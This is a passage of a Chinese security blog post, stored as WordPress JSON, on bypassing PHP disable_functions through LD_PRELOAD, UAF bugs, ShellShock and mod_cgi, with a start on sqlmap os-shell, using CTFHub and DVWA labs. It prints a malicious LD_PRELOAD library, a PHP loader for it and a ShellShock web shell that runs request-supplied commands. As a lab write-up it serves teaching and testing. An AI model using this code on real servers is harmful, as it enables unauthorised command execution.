{"id":85,"date":"2021-10-01T22:27:53","date_gmt":"2021-10-01T14:27:53","guid":{"rendered":"https:\/\/www.hm-zy.cn\/?p=85"},"modified":"2022-09-01T22:32:48","modified_gmt":"2022-09-01T14:32:48","slug":"disable_function%e6%8c%81%e4%b9%85%e5%8c%96%e4%bb%8b%e7%bb%8d","status":"publish","type":"post","link":"https:\/\/www.hm-zy.cn\/?p=85","title":{"rendered":"disable_function&#038;\u6301\u4e45\u5316\u4ecb\u7ecd"},"content":{"rendered":"<h2>disable_function\u9650\u5236\u7ed5\u8fc7<\/h2>\n<h3>disable_function\u4ecb\u7ecd<\/h3>\n<p>disable_function\u7981\u7528\u51fd\u6570\u5217\u8868\uff0c\u901a\u5e38\u7528\u6765\u7981\u7528\u4e00\u4e9b\u5371\u9669\u51fd\u6570\u3002\u4f8b\u5982\u670d\u52a1\u5668\u4e0a\u914d\u7f6e\u7684PHP\u7981\u7528\u51fd\u6570\u5217\u8868<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929163408279.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929163408279.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<h3>\u7ed5\u8fc7\u65b9\u6cd5<\/h3>\n<h4>LD_PRELOAD \u7ed5\u8fc7<\/h4>\n<h5>\u4ecb\u7ecd<\/h5>\n<p>LD_PRELOAD\u662f\u4e00\u4e2aUNIX\u52a8\u6001\u94fe\u63a5\u5e93\u7684\u4e00\u4e2a\u73af\u5883\u53d8\u91cf\uff0c\u4ed6\u53ef\u4ee5\u5728\u7a0b\u5e8f\u8fd0\u884c\u524d\u5141\u8bb8\u7528\u6237\u5b9a\u4e49\u4f18\u5148\u52a0\u8f7d\u7684\u52a8\u6001\u94fe\u63a5\u5e93\uff0c\u6700\u4e3b\u8981\u7684\u662f\uff0c\u5b83\u5141\u8bb8\u7528\u6237\u8f7d\u5165\u4e0d\u540c\u7684\u52a8\u6001\u94fe\u63a5\u5e93\u7684\u76f8\u540c\u51fd\u6570\u3002php\u5927\u90e8\u5206\u51fd\u6570\u90fd\u662f\u8c03\u7528\u7cfb\u7edf\u547d\u4ee4\u6765\u5b8c\u6210\u7684\uff0c\u6240\u4ee5\u77e5\u9053\u4e86\u8fd9\u4e2a\u73af\u5883\u53d8\u91cf\u8fd0\u884c\u7528\u6237\u5b9a\u4e49\u52a0\u8f7d\u52a8\u6001\u94fe\u63a5\u5e93\u4e4b\u540e\uff0c\u5c31\u53ef\u4ee5\u81ea\u5df1\u5efa\u4e00\u4e2a\u52a8\u6001\u94fe\u63a5\u5e93\u8fdb\u884c\u52ab\u6301\u3002\u5927\u90e8\u5206\u90fd\u662f\u5229\u7528mail()\u548cerror_log()\u51fd\u6570\u8fdb\u884c\u52ab\u6301<\/p>\n<h5>\u7ed5\u8fc7\u5b9e\u6d4b<\/h5>\n<h6>\u8681\u5251\u63d2\u4ef6<\/h6>\n<p>\u5229\u7528CTFHUB\u4e0a\u6b63\u597d\u6709\u4e00\u4e2a\u5bf9\u5e94\u7684\u7ec3\u4e60\u6a21\u5757\uff0c\u9996\u5148\u7ed9\u4e88shell\uff0c\u94fe\u63a5\u8fdb\u53bb\u6ca1\u6709\u6743\u9650\u4f7f\u7528\u547d\u4ee4\uff0c\u5df2\u7ecf\u88ab\u9650\u5236\u4e86\u3002<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929170518376.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929170518376.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p>\u8fd9\u91cc\u8681\u5251\u6709\u4e00\u4e2a\u6a21\u5757\uff0c\u53ef\u4ee5\u76f4\u63a5\u81ea\u52a8\u6ce8\u5165\u3002<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929170605627.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929170605627.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929170744333.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929170744333.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p>\u901a\u8fc7\u94fe\u63a5\u8fd9\u4e2ashell\uff0c\u5c31\u53ef\u4ee5\u7ed5\u8fc7\u9650\u5236<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929171108672.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929171108672.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<h6>\u624b\u52a8\u6ce8\u5165<\/h6>\n<p>\u57fa\u4e8e\u521a\u5f00\u59cb\u5bf9LD_PRELOAD\u7684\u4ecb\u7ecd\uff0c\u624b\u52a8\u6ce8\u5165\u9700\u8981\u81ea\u5df1\u521b\u5efa\u4e00\u4e2a\u52a8\u6001\u94fe\u63a5\u5e93\u5229\u7528C\u6765\u8fdb\u884c\u8f6c\u6362\u3002\u521b\u5efa\u4e00\u4e2aC\u6587\u4ef6\uff0c\u7528GCC\u8f6c\u4e3aSO\u5e93\u6587\u4ef6\u3002\u8fd8\u662f\u5229\u7528\u521a\u521a\u7684\u9898\u76ee\uff0c\u521a\u521a\u8681\u5251\u6ce8\u5165\u7684\u65f6\u5019\uff0c\u8681\u5251\u6e05\u695a\u4e86flag\u8def\u5f84\uff0c\u628a\u4ed6\u901a\u8fc7\u7ba1\u9053\u4f20\u5230\u6211\u4eec\u80fd\u6253\u5f00\u7684\u5730\u65b9\u5c31\u53ef\u4ee5\u4e86\u3002system\u53ef\u4ee5\u66ff\u6362\u6210\u5176\u4ed6\u7cfb\u7edf\u547d\u4ee4\u3002<\/p>\n<pre><code>#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\n__attribute__ ((__constructor__)) void angel (void){\n    unsetenv(&quot;LD_PRELOAD&quot;);\n    system(&quot;\/readflag &gt; \/tmp\/wx.txt&quot;);\n}<\/code><\/pre>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929173801677.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929173801677.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p>\u5c06so\u6587\u4ef6\u4f20\u5165tmp\u6587\u4ef6\u5939(\u6709\u8bfb\u5199\u6743\u9650)\uff0c\u521b\u5efa\u4e00\u4e2ashell.php\uff0c\u5229\u7528\u5b58\u5728\u7684\u4e00\u4e2a\u5305\u542b\u6765\u8c03\u7528\u8fd9\u4e00\u4e2a\u6076\u610f\u5e93\u6587\u4ef6\uff0c\u8fd9\u4e2a\u662f\u5229\u7528\u4e86PHP\u7684mail\u51fd\u6570\u6765\u8c03\u7528sendmail\u547d\u4ee4\u7ed5\u8fc7\u7981\u7528\u9650\u5236\u7684\u3002<\/p>\n<pre><code>&lt;?Php\nputenv(&quot;LD_PRELOAD=\/tmp\/hi.so&quot;);\nmail(&quot;&quot;, &quot;&quot;, &quot;&quot;, &quot;&quot;);\nerror_log(&quot;&quot;,1,&quot;&quot;,&quot;&quot;);\n?&gt;<\/code><\/pre>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929174744039.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929174744039.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929175257898.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210929175257898.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<h4>\u5bfb\u627e\u672a\u7981\u7528\u51fd\u6570<\/h4>\n<p>PHP\u51fd\u6570\u91cf\u8f83\u591a\uff0c\u5176\u5b9e\u5f53\u81ea\u5df1\u60f3\u4f7f\u7528\u7684\u51fd\u6570\u88ab\u7981\u7528\u7684\u65f6\u5019\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u4e00\u4e9b\u672a\u7981\u7528\u51fd\u6570\u8fdb\u884c\u7ed5\u8fc7\u3002\u4e0d\u8fc7\u5927\u591a\u6570\u7684\u53ef\u4ee5\u7528\u4e8e\u6267\u884c\u547d\u4ee4\u7684\u4f8b\u5982shell_exec,system\u51fd\u6570\u90fd\u5927\u6982\u7387\u88ab\u7981\u7528\uff0c\u4e0d\u88ab\u7981\u7528\u7684\u51fd\u6570\u53ef\u80fd\u591a\u6570\u90fd\u662f\u4e00\u4e9b\u8bfb\u76ee\u5f55\u8bfb\u5185\u5bb9\u7684\u51fd\u6570\u3002<\/p>\n<p>\u4f8b\u5982\u5728\u81ea\u5df1\u670d\u52a1\u5668\u4e0a\u662f\u7981\u7528\u4e86\u5927\u90e8\u5206\u547d\u4ee4\u6267\u884c\u51fd\u6570\uff0c\u4f46\u662f\u4e00\u4e9b\u8bfb\u76ee\u5f55\u7684\u51fd\u6570\uff0c\u4f8b\u5982opendir\u6ca1\u6709\u88ab\u7981\u7528\uff0c\u8fd8\u662f\u80fd\u627e\u5230\u4e3a\u7981\u7528\u51fd\u6570\u8fdb\u884c\u7ed5\u8fc7\u3002<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930000907845.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930000907845.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930000853227.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930000853227.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<h4>Uaf\u811a\u672c\u7ed5\u8fc7<\/h4>\n<p>Uaf\u811a\u672c\u7ed5\u8fc7\u5206\u4e09\u79cd\uff0c\u4f46\u8fd9\u79cd\u7ed5\u8fc7\u65b9\u5f0f\uff0c\u6211\u5c5e\u5b9e\u6ca1\u770b\u61c2\u5229\u7528\u7684\u539f\u7406\u3002<\/p>\n<h5>Json Serializer UAF<\/h5>\n<p>\u51fa\u73b0\u7248\u672c<\/p>\n<p>7.1<\/p>\n<p>7.2 &lt; 7.2.19<\/p>\n<p>7.3 &lt; 7.3.6 <\/p>\n<p>\u539f\u7406:\u6f0f\u6d1e\u5229\u7528json\u5728\u5e8f\u5217\u5316\u4e2d\u7684\u5806\u6ea2\u51fa\u89e6\u53d1bypass<\/p>\n<h5>GC UAF<\/h5>\n<p>\u51fa\u73b0\u7248\u672c<\/p>\n<p>7.0<\/p>\n<p>7.1 <\/p>\n<p>7.2 <\/p>\n<p>7.3<\/p>\n<p>\u6f0f\u6d1e\u5229\u7528\u7684\u662fphp garbage collector(\u5783\u573e\u6536\u96c6\u5668)\u7a0b\u5e8f\u4e2d\u7684\u5806\u6ea2\u51fa\u8fbe\u6210bypass<\/p>\n<p>\u7a0d\u5fae\u7684\u770b\u4e86\u4e00\u4e0bphp garbage collector \u8fd9\u4e2a\u5de5\u4f5c\u539f\u7406\u5c31\u662f\u626b\u63cf\u5df2\u6709\u7684Session\u4fe1\u606f\uff0c\u5982\u679c\u8d85\u8fc7\u4e86session.gc_maxlifetime\u8bbe\u5b9a\u503c\uff0c\u5c06\u4f1a\u5c06\u5176\u5220\u9664\u3002<\/p>\n<p>\u7279\u522b\u8bf4\u660e\u4e86php garbage collector\u4e0d\u4f1a\u533a\u5206\u4e0d\u540c\u7ad9\u70b9\u7684Session\u4fe1\u606f\uff0c\u6309\u7167\u9ed8\u8ba4\u89c4\u5219\u6bcf100\u4e2a\u8bf7\u6c42\u5c31\u4f1a\u542f\u52a8\u4e00\u4e2aGC\uff0c\u5982\u679c\u6570\u91cf\u8fc7\u591a\uff0c\u542f\u7528\u591a\u4e2a\u53ef\u80fd\u5c31\u4f1a\u9020\u6210\u5185\u5b58\u6ea2\u51fa\u5bfc\u81f4\u5185\u5b58\u6ea2\u51fa\u3002<\/p>\n<h5>Backtrace UAF<\/h5>\n<p>\u51fa\u73b0\u7248\u672c<\/p>\n<p>7.0 <\/p>\n<p>7.1<\/p>\n<p>7.2<\/p>\n<p>7.3 &lt; 7.3.15<\/p>\n<p>7.4 &lt; 7.4.3<\/p>\n<p>\u6f0f\u6d1e\u5229\u7528\u7684\u662f debug_backtrace\u8fd9\u4e2a\u51fd\u6570\uff0c\u53ef\u4ee5\u5229\u7528\u8be5\u51fd\u6570\u7684\u6f0f\u6d1e\u8fd4\u56de\u5df2\u7ecf\u9500\u6bc1\u7684\u53d8\u91cf\u7684\u5f15\u7528\u8fbe\u6210\u5806\u6ea2\u51fa\uff0c<\/p>\n<h4>\u4f7f\u7528php\u7c7b\u7ed5\u8fc7<\/h4>\n<p>\u5f53\u51fd\u6570\u88ab\u7981\u7528\u65f6\uff0c\u53ef\u4ee5\u8003\u8651\u4f7f\u7528PHP\u7c7b\u6765\u7ed5\u8fc7\u88ab\u7981\u7528\u7684\u51fd\u6570\uff0c\u4f46\u662f\u7c7b\u4f9d\u7136\u53ef\u4ee5\u901a\u8fc7disable_classes\u8fdb\u884c\u7981\u7528<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930115120837.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930115120837.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930115107976.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930115107976.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<h4>ShellShock(CVE-2014-6271)<\/h4>\n<h5>\u4ecb\u7ecd<\/h5>\n<p>\u53c8\u79f0Bashdoor\uff0c\u662fUnix\u5728Bash shell\u7684\u6f0f\u6d1e\uff0c\u5728\u5f88\u591a\u5b88\u62a4\u8fdb\u7a0b\u4e2d\u4f7f\u7528Bash\u6765\u5904\u7406\u4e00\u4e9b\u547d\u4ee4\uff0c\u4ece\u800c\u8ba9\u653b\u51fb\u8005\u5728Bash&lt;=4.1\u7684\u7248\u672c\u6267\u884c\u4efb\u610f\u7684\u4ee3\u7801\u3002PHP\u4e2d\u7684\u5229\u7528\u5c31\u662f\u5411\u73af\u5883\u53d8\u91cf\u503c\u5185\u7684\u51fd\u6570\u5b9a\u4e49\u540e\u6dfb\u52a0\u591a\u4f59\u7684\u5b57\u7b26\u4e32\u4f1a\u89e6\u53d1\u6b64\u6f0f\u6d1e\uff0c\u53ef\u5229\u7528\u6b64\u6f0f\u6d1e\u6539\u53d8\u6216\u7ed5\u8fc7\u73af\u5883\u9650\u5236\u3002mail\u51fd\u6570\u7684\u7b2c\u4e94\u4e2a\u53c2\u6570\u4f1a\u88ab\u4ea4\u7ed9popen()\u6267\u884c, \u5982\u679c\u7cfb\u7edf\u9ed8\u8ba4sh\u662fbash\uff0cpopen()\u4f1a\u6d3e\u751fbash\u8fdb\u7a0b,\u8fdb\u800c\u53ef\u5229\u7528\u7834\u58f3\u6f0f\u6d1e\u6267\u884c\u547d\u4ee4\u3002<\/p>\n<h5>\u5229\u7528<\/h5>\n<p>\u5728\u590d\u73b0\u7684\u65f6\u5019\u8981\u5c06\/bin\/sh\u6307\u5411\u5230bash\uff0c\u800c\u4e14\u5f53\u8f93\u51faVulnerable\u65f6\u5c31\u6709\u53ef\u5229\u7528\u7684\u7a7a\u95f4\u3002<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930122451203.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930122451203.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p>\u53ef\u5728\u5b58\u5728\u6f0f\u6d1e\u7684\u7f51\u7ad9\u4e0a\u4f20\uff0c\u6765\u7ed5\u8fc7\u9650\u5236\uff0c\u4f7f\u7528\u547d\u4ee4\u6267\u884c\u3002\u5b9e\u9645\u4e0a\u8fd8\u662f\u5229\u7528mail\u7684\u51fd\u6570\u3002<\/p>\n<pre><code>&lt;?php \nfunction` `shellshock(``$cmd``) { ``\n$tmp` `= tempnam(``&quot;.&quot;``,``&quot;data&quot;``); \nputenv(``&quot;PHP_LOL=() { x; }; $cmd &gt;$tmp 2&gt;&amp;1&quot;``); \nmail(``&quot;a@127.0.0.1&quot;``,``&quot;&quot;``,``&quot;&quot;``,``&quot;&quot;``,``&quot;-bv&quot;``); ``\n$output` `= @``file_get_contents``(``$tmp``); \n@unlink(``$tmp``); \nif``(``$output` `!= ``&quot;&quot;``) ``return` `$output``; \nelse` `return` `&quot;No output, or not vuln.&quot;``; \n} \necho` `shellshock(``$_REQUEST``[``&quot;cmd&quot;``]); \n?&gt;<\/code><\/pre>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930123944359.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930123944359.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<h4>Apache Mod CGI<\/h4>\n<h5>\u4ecb\u7ecd<\/h5>\n<p>CGI web\u670d\u52a1\u5668\u7684\u6269\u5c55\u670d\u52a1\u5668\u529f\u80fd\uff0c\u5229\u7528CGI\u7f16\u5199\u7684\u7a0b\u5e8f\u53ef\u4ee5\u5728\u670d\u52a1\u5668\u4e0a\u8fd0\u884c<\/p>\n<p>MOD_CGI:\u4efb\u4f55\u5177\u6709MIME\u7c7b\u578b<code>application\/x-httpd-cgi<\/code>\u6216\u8005\u88ab<code>cgi-script<\/code>\u5904\u7406\u5668\u5904\u7406\u7684\u6587\u4ef6\u90fd\u5c06\u88ab\u4f5c\u4e3aCGI\u811a\u672c\u5bf9\u5f85\u5e76\u7531\u670d\u52a1\u5668\u8fd0\u884c\uff0c\u5b83\u7684\u8f93\u51fa\u5c06\u88ab\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef\u3002\u53ef\u4ee5\u901a\u8fc7\u4e24\u79cd\u9014\u5f84\u4f7f\u6587\u4ef6\u6210\u4e3aCGI\u811a\u672c\uff0c\u4e00\u79cd\u662f\u6587\u4ef6\u5177\u6709\u5df2\u7531<code>AddType<\/code>\u6307\u4ee4\u5b9a\u4e49\u7684\u6269\u5c55\u540d\uff0c\u53e6\u4e00\u79cd\u662f\u6587\u4ef6\u4f4d\u4e8e<code>ScriptAlias<\/code>\u76ee\u5f55\u4e2d\u3002<\/p>\n<p>\u5f53\u670d\u52a1\u5668\u8c03\u7528\u4e00\u4e2aCGI\u811a\u672c\u65f6\u4f1a\u5f80\u8fd0\u884c\u73af\u5883\u4e2d\u6dfb\u52a0\u4e00\u4e2a\u53eb\u505a<code>DOCUMENT_ROOT<\/code>\u7684\u53d8\u91cf\u3002\u8fd9\u4e2a\u53d8\u91cf\u5c06\u5305\u542b<code>DocumentRoot<\/code>\u6307\u4ee4\u7684\u503c\u3002<\/p>\n<p>(\u5b98\u65b9\u8bf4\u660e)<\/p>\n<h5>\u5229\u7528<\/h5>\n<p>\u4e0a\u4f20\u5199\u597d\u7684cgi\u6587\u4ef6\u548chtaccess\u6587\u4ef6\u3002<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930142534436.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930142534436.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p>\u7531\u4e8e\u73af\u5883\u95ee\u9898\uff0ccgi\u652f\u6301\u6ca1\u6709\u5f00\u542f\uff0c\u8fd9\u8fb9\u6ca1\u529e\u6cd5\u590d\u73b0\uff0c\u6839\u636e\u7f51\u7edc\u4e0a\u7684\u590d\u73b0\u6d41\u7a0b\uff0c\u57fa\u672c\u90fd\u662fhtaccess\u5b9a\u4e49\u6587\u4ef6\u4f7f\u7528cgi\u8bfb\u53d6\uff0c\u518d\u5229\u7528CGI\u6765\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u7ed5\u8fc7\u3002<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930144057799.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930144057799.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<h2>sqlmap -os-shell\u5b9e\u73b0\u8fc7\u7a0b<\/h2>\n<h5>\u4ecb\u7ecd<\/h5>\n<p>Sqlmap\u662f\u5f00\u6e90\u7684\u81ea\u52a8\u5316SQL\u6ce8\u5165\u5de5\u5177\uff0c\u5229\u7528python\u8bed\u8a00\u5199\u7684\u3002os shell\u662fsqlmap\u4e2d\u4f7f\u7528sqlmap\u6ce8\u5165\u5e76\u6267\u884c\u547d\u4ee4\u7684\u529f\u80fd\u51fd\u6570\u3002<\/p>\n<h5>\u5b9e\u73b0\u8fc7\u7a0b<\/h5>\n<p>\u4ee5dvwa\u7684sql\u6ce8\u5165\u4e3a\u4f8b\u5b50\uff0c\u5148\u5c1d\u8bd5\u4f7f\u7528sqlmap\u76f4\u63a5\u6ce8\u5165\u67e5\u770b\u3002\u9700\u8981\u6ce8\u610f\u7684\u70b9\u5c31\u662f\uff0cdvwa\u7684\u96be\u5ea6\u9009\u62e9\u548c\u767b\u5f55\u90fd\u662f\u6709cookie\u7684\uff0c\u6240\u4ee5\u8bb0\u5f97\u5c06cookie\u6ce8\u5165\u3002<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20211001134941012.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20211001134941012.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p>\u53d1\u73b0\u662f\u5b58\u5728\u6ce8\u5165\u95ee\u9898\u7684\uff0c\u5c1d\u8bd5\u4e00\u4e0bos shell\u6a21\u5757\uff0c\u4f7f\u7528os shell\u8fc7\u7a0b\u4e2d \u9700\u8981\u63d0\u4f9b\u7edd\u5bf9\u8def\u5f84\uff0c\u4e00\u822c\u6765\u8bf4phpinfo\u53ef\u80fd\u4f1a\u5b58\u5728\u3002<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20211001135230407.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20211001135230407.png\" alt=\"undefined\" 